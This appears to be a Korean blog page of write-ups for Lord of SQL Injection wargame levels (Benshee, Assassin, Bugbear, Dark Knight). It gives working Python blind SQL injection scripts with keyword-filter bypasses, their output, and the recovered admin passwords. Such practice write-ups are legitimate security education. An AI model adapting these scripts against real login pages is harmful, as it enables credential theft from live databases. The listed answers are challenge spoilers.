[Webhacking.kr] 서문 & old-01 Answer  (0) 2022.07.05

벤시다. 벤시는 아일랜드 전설에 등장하는 요정으로 우리나라에서는 적대적인 몬스터로 알려져 있다.(아마 WOW가 한몫하지 않았을까 우리 족장님...) 사실은 그리 적대적인 몬스터가 아니다. 요정이니까, 코드를 만나보도록 하자

< 출처 : 나무위키 https://namu.wiki/w/%EB%B0%B4%EC%8B%9C >


코드

오호 익숙한 코드이다. sqllite에서의 blind sql injection은 어떻지 조금 생각을 해보고 코드로 이동하자


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0313091b
import string
from requests import get

if __name__=="__main__" :

    url = "### BENSHEE의 URL ###"
    cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
    length = 1  
    letters = string.digits + string.ascii_letters
    password = ''

    print("\n\n### LENGTH of PASSWORD SEARCH ###")
    while(True) :
        param = "?pw=1%27%20or%20id=%27admin%27%20and%20length(pw)="+str(length)+"--%20"
        new_url = url+param
        req = get(new_url,cookies=cookie)

        if (req.text.find("login success!")<300 and req.text.find("login success!")!=-1) :
            print("FIND! password lenght id : "+str(length))
            break
        
        length+=1

    print("\n\n### PASSWORD SEARCH ###")
    for i in range(1,length+1) :
        for a in letters :
            param = "?pw=1' or id='admin' and SUBSTR(pw,"+str(i)+",1)=%27"+a+"%27--%20;"
            new_url = url+param
            req = get(new_url,cookies=cookie)

            if (req.text.find("login success!")<300 and req.text.find("login success!")!=-1) :
                print("find "+str(i)+"'s letter : "+a)
                password += a
                break

    print("="*25)
    print("find password : "+password)

2-SY! 코드에 대한 설명이 혹시나, 혹시나 필요하다면 아래 포스팅을 보자 My SQL에서 썼던 함수와 변한 게 없어서 넘어간다.

2021.04.13 - [WarGame/Lord of SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc

 

[LOSI] Lord of SQL Injection Level 4 - Orc

무서운 몬스터가 우리 앞을 막아섰다. 오크라고 불리는 이 몬스터는.... 심각하게 뚱뚱한 이 몬스터를 쉽게 이길수 없다는 생각이 든다. 일단 코드를 확인하자. * 주의 : 이번 포스팅은 Python을 기

tutoreducto.tistory.com


쉽게 쉽게 넘어갔던 문제다. 다음 관문에서 기다리겠다.

올... 이번에는 조금 맵시 있는 몬스터를 만났다.(일부로 제목도 소문자로 썼다. 대문자는 둔해 보여서) 암살자라는 이름을 달고 온 이 몬스터를 무찌르기 위해 코드를 확인하고 공략법을 이야기해보자

<출처 : 나무위키 https://namu.wiki/w/%EC%96%B4%EC%8C%94%EC%8B%A0%20%ED%81%AC%EB%A6%AC%EB%93%9C%202?from=%EC%96%B4%EC%83%88%EC%8B%A0%20%ED%81%AC%EB%A6%AC%EB%93%9C%202>


코드 

실행되는 쿼리문은 하나이다. prob_assassin이라는 table에서 pw like '{$_GET[pw]}' 인 값을 가져와서 admin이면 success이다. 즉 pw를 통해서 admin 레코드를 가져오는 것이 assassin을 무찌르는 방법이다. 다행히도, helllo {$result [id]}가 있으니, blind sql injection을 실행하기 아주 좋은 환경이다.


해결방법

Answer Url : los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902efd10

from requests import get
import string


if __name__=="__main__" :
    url = ### assassin url ###
    length = 1
    password = ""
    cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
    letters = string.digits+string.ascii_letters
    find_pw = False

    while(True) :
        password = "_"*length
        param1 = "?pw="+str(password)
        new_url = url+param1
        rec = get(new_url,cookies=cookie)
        if(rec.text.find("Hello ")<=120 and rec.text.find("Hello ")!=-1) :
            print("find candidate legnth : "+str(length))
            pw_list = ["_" for i in range(length)]
            for i in range(length) :
                for a in letters :
                    pw_list[i] = a
                    tmp_ps = "".join(pw_list)
                    param2 = "?pw="+tmp_ps
                    new_url = url+param2
                    rec2 = get(new_url,cookies=cookie)
                    if(rec2.text.find("Hello")<=120 and rec2.text.find("Hello")!=-1) :
                        rem = a
                        print("found "+str(i+1)+" letter : "+a)
                        find_pw = True
                        break
                pw_list[i] = rem
        if(find_pw == True) :
            print("found admin's pw : "+"".join(pw_list))
            break
        else :
            length += 1
            print("damm... keep going")
        

어려워 보이는데 의외로 단순한 코드이다. 일단 와일드카드에 대해서 알아야한다.

docs.microsoft.com/ko-kr/previous-versions/sql/sql-server-2008-r2/ms187489(v=sql.105)?redirectedfrom=MSDN

 

검색 조건의 패턴 일치

04/01/2012 읽는 데 8분 걸림 이 문서의 내용 --> 검색 조건의 패턴 일치 LIKE 키워드는 지정한 패턴과 일치하는 문자열, 날짜, 시간 값을 검색합니다. 자세한 내용은 데이터 형식(Transact-SQL)을 참조하

docs.microsoft.com

like를 사용할 때는 특정한 문자열 전체를 의미하는 와일드카드를 지정할 수 있다.

예를 들면 "%"는 모든 글자를 의미하고, "_"는 한 글자를 의미한다. 따라서? pw=%를 전달하면 다음과 같은 화면을 얻을 수 있다.

이에 따라 pw의 글자 길이를 구하려면 하나하나 늘려가면서 한문자를 의미하는 "_"를 넣으면 된다.

아래는 이를 수행하는 코드이다.

while(True) :
      password = "_"*length
      param1 = "?pw="+str(password)
      new_url = url+param1
      rec = get(new_url,cookies=cookie)
      if(rec.text.find("Hello ")<=120 and rec.text.find("Hello ")!=-1) :
          print("find candidate legnth : "+str(length))
          pw_list = ["_" for i in range(length)]

 

여기서 Hello라는 문자열을 검사를 해야 되는데, 코드에 echo "<h2> Hello가 포함되어 있어서 find의 위치를 조금 조정해 주었다. (못 찾으면 -1이니, -1는 제외한다.) 이렇게 찾은 pw의 길이는 8이다.(재미있는 건 이 문제에서는 admin과 guest의 pw길이가 같다. 무한루프를 설정한 건 혹여 admin이 발견될까 검사했던 잔재인데, 한 30쯤 길이가 같다는 걸 확신했다.)

 

길이를 찾았으면 다음은 한문자씩 넣어보며 pw를 찾을 뿐이다. 아래는 해당 루프이다.

pw_list = ["_" for i in range(length)]
for i in range(length) :
    for a in letters :
        pw_list[i] = a
        tmp_ps = "".join(pw_list)
        param2 = "?pw="+tmp_ps
        new_url = url+param2
        rec2 = get(new_url,cookies=cookie)
        if(rec2.text.find("Hello")<=120 and rec2.text.find("Hello")!=-1) :
            rem = a
            print("found "+str(i+1)+" letter : "+a)
            find_pw = True
            break
    pw_list[i] = rem

8칸짜리 "_"로 이루어진 pw_list를 생성했고, 한 문자씩 찾으면 넣어 두는 방식을 선택했다.(정말 재미있는 건 pw의 앞 일부 글자는 admin과 guest가 같다는 점이다. 그래서 이번에도 admin이 아닌 Hello를 검색해서 끝까지 못 찾은 것으로 판단되면 rem을 넣어주었다.) 출력 결과는 다음과 같다.

damm... keep going
damm... keep going
damm... keep going
damm... keep going
damm... keep going
damm... keep going
damm... keep going
find candidate legnth : 8
found 1 letter : 9
found 2 letter : 0
found 3 letter : 2
found 4 letter : e
found 5 letter : f
found 6 letter : d
found 7 letter : 1
found 8 letter : 0
found admin's pw : 902efd10

다행히도 중복된 문자열 이후에는 admin레코드가 quest보다 먼저 검색되었다. 만약 여기서 guest가 출력되었다면, admin이 나오는 문자열이 검색될 때까지 continue 했으면 된다.

 

축하한다. 이렇게 assassin을 해결했다. 


슬슬 SQL Injectino실력이 향상되는 것이 느껴지는가? 그렇다면 다행이다. 아닌 사람도 천천히 가면 언젠가 SQL Injectinon에 정수에 도달할 수 있을 것이다. 그럼 필자는 다음 관문에서 여러분들을 기다리겠다.

12번까지 열심히 올리고 한숨 자고 오니까 머리가 맑아진 기분이다. 역시 잠과 퇴근은 사랑이다. 개인적으로 몰라서 그런데 bugbear가 한국말로 뭐지? 바로 문제로 넘어가자

 

<출처 : Forgotten Realm wiki https://forgottenrealms.fandom.com/wiki/Bugbear >

* 이 문제를 해결하기 위한 코드는 python으로 작성되어있습니다. *

* 작성된 blind sql injection 코드에 대한 해설은 4번 orc에 자세하게 나와있습니다. *

2021.04.13 - [정보보안-실습/SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc

 

[LOSI] Lord of SQL Injection Level 4 - Orc

무서운 몬스터가 우리 앞을 막아섰다. 오크라고 불리는 이 몬스터는.... 심각하게 뚱뚱한 이 몬스터를 쉽게 이길수 없다는 생각이 든다. 일단 코드를 확인하자. * 주의 : 이번 포스팅은 Python을 기

tutoreducto.tistory.com


코드

이번 금지된 문자열은 다음과 같다.

_,., \, ', substr, ascii, =, or, and. space(공백), like, 0x 

아주 다채롭게도 막아놓았다. 정확한 pw를 구한다는 점과 먼저 hello admin이 출력된다는 점에서 blind sql injectino을 통한 공략이 가능할 거 같다. 

 

 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=52dc3991

import string
from requests import get

if __name__ == "__main__" :
    url = ### BUGBEAR url ###
    cookie = dict(PHPSESSID = "### 자기의 PHPSESSID ###")
    length = 0
    password = ""
    letters = string.digits + string.ascii_letters

    print("### find length of pw ###")

    while(True) :
        param = "?no=12351235%09||length(pw)%09in("+str(length)+")--%20;"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text.find("Hello admin")>=0 ):
            print("find length of pw : "+str(length))
            break
        print(str(length)+" is wrong length")
        length+=1

    print("\n\n### find for pw ###")
    for i in range(1,length+1) :
        for a in letters :
            param = "?no=1234566%09||%09id%09in(%22admin%22)%09%26%26%09left(pw,"+str(i)+")%09in(%22"+(password+a)+"%22)--%20;"
            new_url = url+param

            rec = get(new_url,cookies=cookie)

            if(rec.text.find("Hello admin")>=0) :
                print("find for "+str(i)+"'s pw : "+a)
                password += a
                break

    print("finally found pw : "+password)
        

치환된 항목는 다음과 같으며, 출력은 아래와 같다.

공백 >> TAB(%09)
or >> 파이프(||)
and >> &&
등호 or like >> in(in 명령어는 항목이 in()의 파라미터 있으면 참이다.)
substr >> left를 이용한(기존에 구한 password에 검사할 문자열을 더해서 반복한다.)
### find length of pw ###
0 is wrong length
1 is wrong length
2 is wrong length
3 is wrong length
4 is wrong length
5 is wrong length
6 is wrong length
7 is wrong length
find length of pw : 8


### find for pw ###
find for 1's pw : 5
find for 2's pw : 2
find for 3's pw : d
find for 4's pw : c
find for 5's pw : 3
find for 6's pw : 9
find for 7's pw : 9
find for 8's pw : 1
finally find pw : 52dc3991

BugBear를 퇴치한 걸 축하한다.


여태까지 물리친 몬스터들의 공략법을 기억했다면, in을 사용하는 것 말고는 새로운 방법이 없었던 bugbear였다. 다음 관문에서 여러분들을 기다리겠다.

그 이름도 무서운 다크 나이트이다.(오 ㅆ 멋진데??) 이번몬스터도 Blind SQL Injection을 이용해서 퇴치할 수 있다. Golem과 비슷한 방식이지만, 이번에는 우회하는 함수가 조금 다르다.

<출처 : 위키백과 https://ko.wikipedia.org/wiki/%EB%8B%A4%ED%81%AC_%EB%82%98%EC%9D%B4%ED%8A%B8 >


코드 

substr도 필터 되었고, 작은따옴표와 ascii함수까지 필터링되었다. 역시 우회할 방법을 찾아야 될 것 같은데, 이번엔 query1에 no라는 파라미터도 받아들이고 있다. 이를 이용해서 2K 2K 할 수 있을 것 같은 직감이 들지 않는가?

 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0b70ea1f
import string
from requests import get

if __name__ == "__main__" :
    
    url = ### DARK KNIGHT의 URL ###
    abc = string.digits+string.ascii_letters
    cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
    length = 0
    password = ''

    print("### find length of password ###")

    while(True) :
        param = "?pw=1&&no=1 or length(pw) like("+str(length)+") and id like(char(97,100,109,105,110))"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text.find("Hello admin") >= 0 ) :
            print("find pw length : "+str(length))
            break

        print(str(length)+ " is wrong length")
        length += 1

    print("\n\n### find for pw ###")
    for i in range(1,length+1) :
        for a in abc :
            param = "?pw=1&&no=1%20or%20id%20like(char(97,100,109,105,110))%20and%20right(left(pw,"+str(i)+"),1)%20like%20%22"+a+"%22--%20;"
            new_url = url+param
            rec = get(new_url,cookies=cookie)
            
            if(rec.text.find("Hello admin") >= 0) :
                print("find "+str(i)+"'s pw : "+a)
                password += a
                break

    print("OK pw is : "+password)

등호는 like로, substr은 left와 right로 SUBSTR을 우회했으며 ASCII 우회를 위하여 DATABASE의 함수인 CHAR 함수가 사용되었다. (추가로 중간에 사용된 %22는 큰따옴표(")의 urlencode값이다. 작은따옴표의 필터로 사용되었다.)

* CHAR(args...) : 정수들을 아스키값으로 해석하여 문자열을 생성한다.

실행결과는 다음과 같다.

### find length of password ###
0 is wrong length
1 is wrong length
2 is wrong length
3 is wrong length
4 is wrong length
5 is wrong length
6 is wrong length
7 is wrong length
find pw length : 8


### find for pw ###
find 1's pw : 0
find 2's pw : b
find 3's pw : 7
find 4's pw : 0
find 5's pw : e
find 6's pw : a
find 7's pw : 1
find 8's pw : f
OK pw is : 0b70ea1f

축하한다.


여러분들은 지금까지 여러가지 우회방법을 배우고 있고, 또 배워 나갈 것이다. 반복적인 내용처럼 느껴질지 몰라도 새로운 우회방법을 배우는 것 자체를 즐겨주기를 바라며, 필자는 다음 몬스터 앞에서 여러분들을 기다리겠다.

+ Recent posts